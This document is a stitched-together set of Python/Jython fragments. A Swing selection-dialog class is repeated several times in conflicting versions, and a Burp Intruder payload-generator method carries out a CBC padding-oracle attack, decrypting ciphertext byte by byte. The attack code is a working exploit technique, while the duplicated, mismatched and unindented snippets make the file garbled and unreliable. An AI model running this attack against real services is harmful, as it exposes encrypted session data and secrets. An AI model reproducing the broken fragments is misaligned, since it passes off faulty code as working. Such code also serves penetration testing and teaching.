class SelectionDialog(_AbstractSwingDialog):
def __init__(self, message, options):
self._options = options
_AbstractSwingDialog.__init__(self, message)
def _init_dialog(self, message):
self._pane = JOptionPane(message, PLAIN_MESSAGE, OK_CANCEL_OPTION)
self._pane.setWantsInput(True)
self._pane.setSelectionValues(self._options)
class SelectionDialog(_AbstractSwingDialog):
def __init__(self, message, options):
self._options = options
_AbstractSwingDialog.__init__(self, message)
def _init_dialog(self, message):
self._pane = JOptionPane(message, PLAIN_MESSAGE, OK_CANCEL_OPTION)
self._pane.setWantsInput(True)
self._pane.setSelectionValues(self._options)
def __init__(self, message, options):
pane = JOptionPane(message, PLAIN_MESSAGE, OK_CANCEL_OPTION)
pane.setWantsInput(True)
pane.setSelectionValues(options)
_AbstractSwingDialog.__init__(self, pane)
def getNextPayload(self, baseValue):
log.debug("Requesting payload %r", baseValue)
decoded = PaddingOraclePayloads.decode(baseValue)
if self.baseValue is None: # first payload request
self.baseValue = baseValue
self.position = self.BLOCK_SIZE - 1
self.total_blocks = len(decoded) / self.BLOCK_SIZE
self.current_block = self.total_blocks - 1
self.decrypted = ""
self.immediate_bytes = [0] * self.BLOCK_SIZE
log.info("Starting new Payload queue: %s %d", baseValue, self.total_blocks)
# init payload
prefix = ["\0"] * self.BLOCK_SIZE
# set current value
prefix[self.position] = chr(self.current_value)
# set padding for already decrypted bytes
for i in range(self.position, self.BLOCK_SIZE-1):
prefix[i] = chr((self.immediate_bytes[i] ^ (self.BLOCK_SIZE-self.position)) & 0xFF)
payload = "".join(prefix) + decoded[self.current_block*self.BLOCK_SIZE:(self.current_block+1)*16]
self.current_value += 1
if self.current_value > 255:
# ask for correct padding
values = [i for i in range(256*(self.BLOCK_SIZE-1-self.position)+1,
256*(self.BLOCK_SIZE - self.position))]
pane = JOptionPane("Select succeeded request",
JOptionPane.QUESTION_MESSAGE)
pane.setSelectionValues(values)
pane.setInitialValue(values[0])
dialog = pane.createDialog(None, "Padding Oracle")
dialog.setModalityType(Dialog.ModalityType.DOCUMENT_MODAL)
dialog.setVisible(True)
# normalize value
result = int(pane.getInputValue()) - (
256*(self.BLOCK_SIZE - 1 - self.position) + 1)
# calculate IV = value ^ padding
iv = (result ^ (self.BLOCK_SIZE-self.position)) & 0xFF
# store iv
self.immediate_bytes[self.position] = iv
log.info("Value: %d\nPadding: 0x%0x\nIV: 0x%0x",
result,
self.BLOCK_SIZE - self.position,
iv)
self.callbacks.getStdout().write("Value: %d\nPadding: 0x%0x\nIV: 0x%0x\n" % (result, self.BLOCK_SIZE-self.position, iv))
# get previous block
if self.current_block > 0:
last_block = decoded[(self.current_block-1)*self.BLOCK_SIZE:
self.current_block*self.BLOCK_SIZE]
else:
last_block = PaddingOraclePayloads.IV
# decrypt block byte = IV ^ previous block
self.decrypted = chr((iv ^ last_block[self.position]) & 0xFF)
log.info("Decrypted: %r", self.decrypted)
self.callbacks.getStdout().write("Decrypted: %r\n" % self.decrypted)
self.position -= 1
self.current_value = 0
if self.position < 0:
self.current_block -= 1
self.position = self.BLOCK_SIZE - 1
# encode payload
payload = array.array('b', PaddingOraclePayloads.encode(payload))
return payload
def __init__(self, message, options):
pane = JOptionPane(message, PLAIN_MESSAGE, OK_CANCEL_OPTION)
pane.setWantsInput(True)
pane.setSelectionValues(options)
_SwingDialog.__init__(self, pane)
